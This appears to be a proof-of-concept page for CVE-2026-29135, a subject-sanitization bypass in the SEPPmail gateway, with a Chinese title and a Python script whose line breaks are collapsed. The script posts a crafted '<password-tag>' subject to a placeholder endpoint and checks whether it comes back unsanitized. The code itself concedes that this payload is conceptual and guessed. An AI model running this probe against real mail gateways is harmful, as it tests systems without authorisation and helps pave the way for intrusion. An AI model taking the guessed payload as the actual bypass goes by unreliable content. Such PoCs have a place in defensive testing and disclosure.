CVE-2026-29135: SEPPmail主题清理绕过漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-29135 Sends a crafted payload with a password-tag to bypass subject sanitization. """ # The specific 'password-tag' syntax might vary based on reverse engineering # This is a conceptual representation of the bypass payload payload = { "recipient": "[email protected]", "subject": "<password-tag>test_payload</password-tag>", "body": "Checking sanitization bypass." } headers = { "User-Agent": "CVE-2026-29135-Scanner" } try: response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if payload was reflected without sanitization.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://target-seppmail-gateway/api/endpoint" check_vulnerability(target)